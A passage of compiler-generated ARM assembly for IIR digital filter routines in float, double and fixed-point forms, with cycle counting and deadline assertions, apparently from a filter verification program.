.type srand, %function
srand:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r2, .L646
ldr r3, [fp, #-8]
str r3, [r2]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L647:
.align 2
.L646:
.word next
.size srand, .-srand
.global __aeabi_fsub
.global __aeabi_fadd
.section .rodata
.align 2
.LC32:
.ascii "(double)timer1*CYCLE <= (double)DEADLINE\000"
.text
.align 2
.global iirIIOutTime
.syntax unified
.arm
.fpu softvfp
.type iirIIOutTime, %function
iirIIOutTime:
@ args = 8, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44] @ float
str r2, [fp, #-48]
str r3, [fp, #-52]
mov r3, #0
str r3, [fp, #-32]
mov r3, #0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-48]
add r3, r3, #4
str r3, [fp, #-28]
ldr r3, [fp, #-52]
str r3, [fp, #-24]
ldr r3, [fp, #-40]
add r3, r3, #4
str r3, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r3, #71
str r3, [fp, #-32]
mov r3, #1
str r3, [fp, #-8]
b .L649
.L650:
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r0, [r3] @ float
ldr r3, [fp, #-20]
add r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r2, r3
ldr r3, [fp, #-40]
ldr r3, [r3] @ float
mov r1, r2
mov r0, r3
bl __aeabi_fsub
mov r3, r0
mov r2, r3
ldr r3, [fp, #-40]
str r2, [r3] @ float
ldr r3, [fp, #-32]
add r3, r3, #54
str r3, [fp, #-32]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L649:
ldr r2, [fp, #-8]
ldr r3, [fp, #4]
cmp r2, r3
blt .L650
ldr r3, [fp, #-40]
ldr r3, [r3] @ float
ldr r1, [fp, #-44] @ float
mov r0, r3
bl __aeabi_fadd
mov r3, r0
mov r2, r3
ldr r3, [fp, #-40]
str r2, [r3] @ float
ldr r3, [fp, #-40]
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-12]
b .L651
.L652:
ldr r3, [fp, #-24]
add r2, r3, #4
str r2, [fp, #-24]
ldr r0, [r3] @ float
ldr r3, [fp, #-20]
add r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-32]
add r3, r3, #46
str r3, [fp, #-32]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L651:
ldr r2, [fp, #-12]
ldr r3, [fp, #8]
cmp r2, r3
blt .L652
ldr r3, [fp, #-32]
add r3, r3, #38
str r3, [fp, #-32]
ldr r0, [fp, #-32]
bl __aeabi_i2d
mov r2, #0
ldr r3, .L655
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r2, .L655+4
ldr r3, .L655+8
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L653
ldr r3, .L655+12
ldr r2, .L655+16
ldr r1, .L655+20
ldr r0, .L655+24
bl __assert_fail
.L653:
ldr r3, [fp, #-16] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L656:
.align 2
.L655:
.word 1097761920
.word 1202590843
.word 1065646817
.word __PRETTY_FUNCTION__.6181
.word 450
.word .LC29
.word .LC32
.size iirIIOutTime, .-iirIIOutTime
.align 2
.global iirIItOutTime
.syntax unified
.arm
.fpu softvfp
.type iirIItOutTime, %function
iirIItOutTime:
@ args = 8, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #44
str r0, [fp, #-40]
str r1, [fp, #-44] @ float
str r2, [fp, #-48]
str r3, [fp, #-52]
mov r3, #0
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-20] @ float
ldr r3, [fp, #-48]
add r3, r3, #4
str r3, [fp, #-32]
ldr r3, [fp, #-52]
str r3, [fp, #-28]
ldr r2, [fp, #8]
ldr r3, [fp, #4]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-16]
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3] @ float
ldr r1, [fp, #-44] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r2, r3
ldr r3, [fp, #-40]
ldr r3, [r3] @ float
mov r1, r3
mov r0, r2
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-20] @ float
ldr r3, [fp, #-36]
add r3, r3, #105
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-24]
b .L658
.L661:
ldr r3, [fp, #-24]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r2, r2, r3
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r1, [fp, #-40]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-24]
cmp r2, r3
bge .L659
ldr r3, [fp, #-32]
add r2, r3, #4
str r2, [fp, #-32]
ldr r3, [r3] @ float
ldr r1, [fp, #-20] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r4, r2, r3
bl __aeabi_fsub
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-36]
add r3, r3, #41
str r3, [fp, #-36]
.L659:
ldr r3, [fp, #8]
sub r3, r3, #1
ldr r2, [fp, #-24]
cmp r2, r3
bge .L660
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3] @ float
ldr r1, [fp, #-44] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r0, r3
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r1, [r3] @ float
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r4, r2, r3
bl __aeabi_fadd
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-36]
add r3, r3, #38
str r3, [fp, #-36]
.L660:
ldr r3, [fp, #-36]
add r3, r3, #54
str r3, [fp, #-36]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L658:
ldr r3, [fp, #-16]
sub r3, r3, #1
ldr r2, [fp, #-24]
cmp r2, r3
blt .L661
ldr r3, [fp, #-36]
add r3, r3, #7
str r3, [fp, #-36]
ldr r0, [fp, #-36]
bl __aeabi_i2d
mov r2, #0
ldr r3, .L664
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r2, .L664+4
ldr r3, .L664+8
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L662
ldr r3, .L664+12
ldr r2, .L664+16
ldr r1, .L664+20
ldr r0, .L664+24
bl __assert_fail
.L662:
ldr r3, [fp, #-20] @ float
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L665:
.align 2
.L664:
.word 1097761920
.word 1202590843
.word 1065646817
.word __PRETTY_FUNCTION__.6199
.word 477
.word .LC29
.word .LC32
.size iirIItOutTime, .-iirIItOutTime
.align 2
.global iirIItOutTime_double
.syntax unified
.arm
.fpu softvfp
.type iirIItOutTime_double, %function
iirIItOutTime_double:
@ args = 16, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r6, r7, fp, lr}
add fp, sp, #16
sub sp, sp, #52
str r0, [fp, #-56]
str r2, [fp, #-68]
str r3, [fp, #-64]
mov r3, #0
str r3, [fp, #-48]
mov r2, #0
mov r3, #0
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #4]
add r3, r3, #8
str r3, [fp, #-44]
ldr r3, [fp, #8]
str r3, [fp, #-40]
ldr r2, [fp, #16]
ldr r3, [fp, #12]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-32]
ldr r3, [fp, #-40]
add r2, r3, #8
str r2, [fp, #-40]
ldmia r3, {r0-r1}
sub r3, fp, #68
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r3, [fp, #-56]
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-48]
add r3, r3, #105
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-36]
b .L667
.L670:
ldr r3, [fp, #-36]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-56]
add r3, r2, r3
ldr r2, [fp, #-36]
lsl r2, r2, #3
ldr r1, [fp, #-56]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #12]
sub r3, r3, #1
ldr r2, [fp, #-36]
cmp r2, r3
bge .L668
ldr r3, [fp, #-44]
add r2, r3, #8
str r2, [fp, #-44]
ldmia r3, {r0-r1}
sub r3, fp, #28
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-56]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-56]
add r4, r2, r3
mov r2, r6
mov r3, r7
bl __aeabi_dsub
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
ldr r3, [fp, #-48]
add r3, r3, #41
str r3, [fp, #-48]
.L668:
ldr r3, [fp, #16]
sub r3, r3, #1
ldr r2, [fp, #-36]
cmp r2, r3
bge .L669
ldr r3, [fp, #-40]
add r2, r3, #8
str r2, [fp, #-40]
ldmia r3, {r0-r1}
sub r3, fp, #68
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-56]
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r1, [fp, #-36]
lsl r1, r1, #3
ldr r0, [fp, #-56]
add r4, r0, r1
mov r0, r6
mov r1, r7
bl __aeabi_dadd
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
ldr r3, [fp, #-48]
add r3, r3, #38
str r3, [fp, #-48]
.L669:
ldr r3, [fp, #-48]
add r3, r3, #54
str r3, [fp, #-48]
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L667:
ldr r3, [fp, #-32]
sub r3, r3, #1
ldr r2, [fp, #-36]
cmp r2, r3
blt .L670
ldr r3, [fp, #-48]
add r3, r3, #7
str r3, [fp, #-48]
ldr r0, [fp, #-48]
bl __aeabi_i2d
mov r2, #0
ldr r3, .L673
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
ldr r2, .L673+4
ldr r3, .L673+8
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L671
ldr r3, .L673+12
mov r2, #504
ldr r1, .L673+16
ldr r0, .L673+20
bl __assert_fail
.L671:
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #16
@ sp needed
pop {r4, r6, r7, fp, pc}
.L674:
.align 2
.L673:
.word 1097761920
.word 1202590843
.word 1065646817
.word __PRETTY_FUNCTION__.6217
.word .LC29
.word .LC32
.size iirIItOutTime_double, .-iirIItOutTime_double
.align 2
.global iirOutBoth
.syntax unified
.arm
.fpu softvfp
.type iirOutBoth, %function
iirOutBoth:
@ args = 32, pretend = 0, frame = 64
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #64
str r0, [fp, #-56]
str r1, [fp, #-60]
str r2, [fp, #-64]
str r3, [fp, #-68]
mov r3, #0
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-16] @ float
ldr r3, [fp, #16]
add r3, r3, #4
str r3, [fp, #-52]
ldr r3, [fp, #28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #8]
add r3, r2, r3
str r3, [fp, #-48]
ldr r3, [fp, #20]
str r3, [fp, #-44]
ldr r3, [fp, #32]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #12]
add r3, r2, r3
str r3, [fp, #-40]
ldr r3, [fp, #-64]
add r3, r3, #4
str r3, [fp, #-36]
ldr r3, [fp, #28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-56]
add r3, r2, r3
str r3, [fp, #-32]
ldr r3, [fp, #-68]
str r3, [fp, #-28]
ldr r3, [fp, #32]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-60]
add r3, r2, r3
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-12]
b .L676
.L677:
ldr r3, [fp, #-44]
add r2, r3, #4
str r2, [fp, #-44]
ldr r0, [r3]
ldr r3, [fp, #-40]
sub r2, r3, #4
str r2, [fp, #-40]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-20]
bl fxp_add
str r0, [fp, #-20]
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r0, [r3] @ float
ldr r3, [fp, #-24]
sub r2, r3, #4
str r2, [fp, #-24]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L676:
ldr r2, [fp, #-12]
ldr r3, [fp, #32]
cmp r2, r3
blt .L677
mov r3, #1
str r3, [fp, #-8]
b .L678
.L679:
ldr r3, [fp, #-52]
add r2, r3, #4
str r2, [fp, #-52]
ldr r0, [r3]
ldr r3, [fp, #-48]
sub r2, r3, #4
str r2, [fp, #-48]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-20]
bl fxp_sub
str r0, [fp, #-20]
ldr r3, [fp, #-36]
add r2, r3, #4
str r2, [fp, #-36]
ldr r0, [r3] @ float
ldr r3, [fp, #-32]
sub r2, r3, #4
str r2, [fp, #-32]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fsub
mov r3, r0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L678:
ldr r2, [fp, #-8]
ldr r3, [fp, #28]
cmp r2, r3
blt .L679
ldr r3, [fp, #24]
ldr r2, [fp, #-20]
str r2, [r3]
ldr r3, [fp, #4]
ldr r2, [fp, #-16] @ float
str r2, [r3] @ float
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size iirOutBoth, .-iirOutBoth
.align 2
.global iirOutFixedL
.syntax unified
.arm
.fpu softvfp
.type iirOutFixedL, %function
iirOutFixedL:
@ args = 12, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
mov r3, #0
str r3, [fp, #-16]
ldr r3, [fp, #8]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-52]
add r3, r2, r3
str r3, [fp, #-32]
ldr r3, [fp, #-40]
add r3, r3, #4
str r3, [fp, #-28]
ldr r3, [fp, #12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #4]
add r3, r2, r3
str r3, [fp, #-24]
ldr r3, [fp, #-44]
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-12]
b .L681
.L682:
ldr r3, [fp, #-12]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-44]
add r2, r2, r3
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r1, [fp, #-44]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-24]
sub r2, r3, #4
str r2, [fp, #-24]
ldr r0, [r3]
ldr r3, [fp, #-20]
add r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16]
bl fxp_add
str r0, [fp, #-16]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L681:
ldr r3, [fp, #12]
sub r3, r3, #1
ldr r2, [fp, #-12]
cmp r2, r3
blt .L682
ldr r3, [fp, #12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-44]
add r3, r2, r3
ldr r2, [fp, #-48]
str r2, [r3]
ldr r3, [fp, #-24]
sub r2, r3, #4
str r2, [fp, #-24]
ldr r0, [r3]
ldr r3, [fp, #-20]
add r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16]
bl fxp_add
str r0, [fp, #-16]
mov r3, #1
str r3, [fp, #-8]
b .L683
.L684:
ldr r3, [fp, #-32]
sub r2, r3, #4
str r2, [fp, #-32]
ldr r0, [r3]
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16]
bl fxp_sub
str r0, [fp, #-16]
ldr r3, [fp, #-8]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r2, r2, r3
ldr r3, [fp, #-8]
lsl r3, r3, #2
ldr r1, [fp, #-40]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L683:
ldr r3, [fp, #8]
sub r3, r3, #1
ldr r2, [fp, #-8]
cmp r2, r3
blt .L684
ldr r3, [fp, #8]
cmp r3, #1
ble .L685
ldr r3, [fp, #-32]
sub r2, r3, #4
str r2, [fp, #-32]
ldr r0, [r3]
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16]
bl fxp_sub
str r0, [fp, #-16]
.L685:
ldr r3, [fp, #8]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r2, [fp, #-16]
str r2, [r3]
ldr r3, [fp, #-16]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size iirOutFixedL, .-iirOutFixedL
.align 2
.global iirOutFloatL
.syntax unified
.arm
.fpu softvfp
.type iirOutFloatL, %function
iirOutFloatL:
@ args = 12, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48] @ float
str r3, [fp, #-52]
mov r3, #0
str r3, [fp, #-16] @ float
ldr r3, [fp, #8]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-52]
add r3, r2, r3
str r3, [fp, #-32]
ldr r3, [fp, #-40]
add r3, r3, #4
str r3, [fp, #-28]
ldr r3, [fp, #12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #4]
add r3, r2, r3
str r3, [fp, #-24]
ldr r3, [fp, #-44]
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-12]
b .L688
.L689:
ldr r3, [fp, #-12]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-44]
add r2, r2, r3
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r1, [fp, #-44]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-24]
sub r2, r3, #4
str r2, [fp, #-24]
ldr r0, [r3] @ float
ldr r3, [fp, #-20]
add r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L688:
ldr r3, [fp, #12]
sub r3, r3, #1
ldr r2, [fp, #-12]
cmp r2, r3
blt .L689
ldr r3, [fp, #12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-44]
add r3, r2, r3
ldr r2, [fp, #-48] @ float
str r2, [r3] @ float
ldr r3, [fp, #-24]
sub r2, r3, #4
str r2, [fp, #-24]
ldr r0, [r3] @ float
ldr r3, [fp, #-20]
add r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-16] @ float
mov r3, #1
str r3, [fp, #-8]
b .L690
.L691:
ldr r3, [fp, #-32]
sub r2, r3, #4
str r2, [fp, #-32]
ldr r0, [r3] @ float
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fsub
mov r3, r0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-8]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r2, r2, r3
ldr r3, [fp, #-8]
lsl r3, r3, #2
ldr r1, [fp, #-40]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L690:
ldr r3, [fp, #8]
sub r3, r3, #1
ldr r2, [fp, #-8]
cmp r2, r3
blt .L691
ldr r3, [fp, #8]
cmp r3, #1
ble .L692
ldr r3, [fp, #-32]
sub r2, r3, #4
str r2, [fp, #-32]
ldr r0, [r3] @ float
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fsub
mov r3, r0
str r3, [fp, #-16] @ float
.L692:
ldr r3, [fp, #8]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r2, [fp, #-16] @ float
str r2, [r3] @ float
ldr r3, [fp, #-16] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size iirOutFloatL, .-iirOutFloatL
.align 2
.global iirOutBothL
.syntax unified
.arm
.fpu softvfp
.type iirOutBothL, %function
iirOutBothL:
@ args = 32, pretend = 0, frame = 64
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #64
str r0, [fp, #-56]
str r1, [fp, #-60]
str r2, [fp, #-64]
str r3, [fp, #-68]
mov r3, #0
str r3, [fp, #-36]
ldr r3, [fp, #28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #16]
add r3, r2, r3
str r3, [fp, #-52]
ldr r3, [fp, #8]
add r3, r3, #4
str r3, [fp, #-48]
ldr r3, [fp, #32]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #20]
add r3, r2, r3
str r3, [fp, #-44]
ldr r3, [fp, #12]
str r3, [fp, #-40]
mov r3, #0
str r3, [fp, #-16] @ float
ldr r3, [fp, #28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-64]
add r3, r2, r3
str r3, [fp, #-32]
ldr r3, [fp, #-56]
add r3, r3, #4
str r3, [fp, #-28]
ldr r3, [fp, #32]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r3, r2, r3
str r3, [fp, #-24]
ldr r3, [fp, #-60]
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-12]
b .L695
.L696:
ldr r3, [fp, #-12]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #12]
add r2, r2, r3
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r1, [fp, #12]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-44]
sub r2, r3, #4
str r2, [fp, #-44]
ldr r0, [r3]
ldr r3, [fp, #-40]
add r2, r3, #4
str r2, [fp, #-40]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-36]
bl fxp_add
str r0, [fp, #-36]
ldr r3, [fp, #-12]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-60]
add r2, r2, r3
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r1, [fp, #-60]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-24]
sub r2, r3, #4
str r2, [fp, #-24]
ldr r0, [r3] @ float
ldr r3, [fp, #-20]
add r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L695:
ldr r3, [fp, #32]
sub r3, r3, #1
ldr r2, [fp, #-12]
cmp r2, r3
blt .L696
ldr r3, [fp, #32]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #12]
add r3, r2, r3
ldr r2, [fp, #24]
str r2, [r3]
ldr r3, [fp, #-44]
sub r2, r3, #4
str r2, [fp, #-44]
ldr r0, [r3]
ldr r3, [fp, #-40]
add r2, r3, #4
str r2, [fp, #-40]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-36]
bl fxp_add
str r0, [fp, #-36]
ldr r3, [fp, #32]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-60]
add r3, r2, r3
ldr r2, [fp, #4] @ float
str r2, [r3] @ float
ldr r3, [fp, #-24]
sub r2, r3, #4
str r2, [fp, #-24]
ldr r0, [r3] @ float
ldr r3, [fp, #-20]
add r2, r3, #4
str r2, [fp, #-20]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-16] @ float
mov r3, #1
str r3, [fp, #-8]
b .L697
.L698:
ldr r3, [fp, #-52]
sub r2, r3, #4
str r2, [fp, #-52]
ldr r0, [r3]
ldr r3, [fp, #-48]
add r2, r3, #4
str r2, [fp, #-48]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-36]
bl fxp_sub
str r0, [fp, #-36]
ldr r3, [fp, #-8]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #8]
add r2, r2, r3
ldr r3, [fp, #-8]
lsl r3, r3, #2
ldr r1, [fp, #8]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-32]
sub r2, r3, #4
str r2, [fp, #-32]
ldr r0, [r3] @ float
ldr r3, [fp, #-28]
add r2, r3, #4
str r2, [fp, #-28]
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r0, [fp, #-16] @ float
bl __aeabi_fsub
mov r3, r0
str r3, [fp, #-16] @ float
ldr r3, [fp, #-8]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-56]
add r2, r2, r3
ldr r3, [fp, #-8]
lsl r3, r3, #2
ldr r1, [fp, #-56]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L697:
ldr r3, [fp, #28]
sub r3, r3, #1
ldr r2, [fp, #-8]
cmp r2, r3
blt .L698
ldr r3, [fp, #28]
cmp r3, #1
ble .L699
ldr r3, [fp, #-52]
sub r2, r3, #4
str r2, [fp, #-52]
ldr r0, [r3]
ldr r3, [fp, #-48]
add r2, r3, #4
str r2, [fp, #-48]
ldr r3, [r3]
mov r1, r3
bl fxp_mult
mov r3, r0
mov r1, r3
ldr r0, [fp, #-36]
bl fxp_sub
str r0, [fp, #-36]
.L699:
ldr r3, [fp, #28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #8]
add r3, r2, r3
ldr r2, [fp, #-36]
str r2, [r3]
ldr r3, [fp, #28]
cmp r3, #1
ble .L700
ldr r3, [fp, #-32]
sub r2, r3, #4
str r2, [fp, #-32]
ldr r0, [r3] @ float
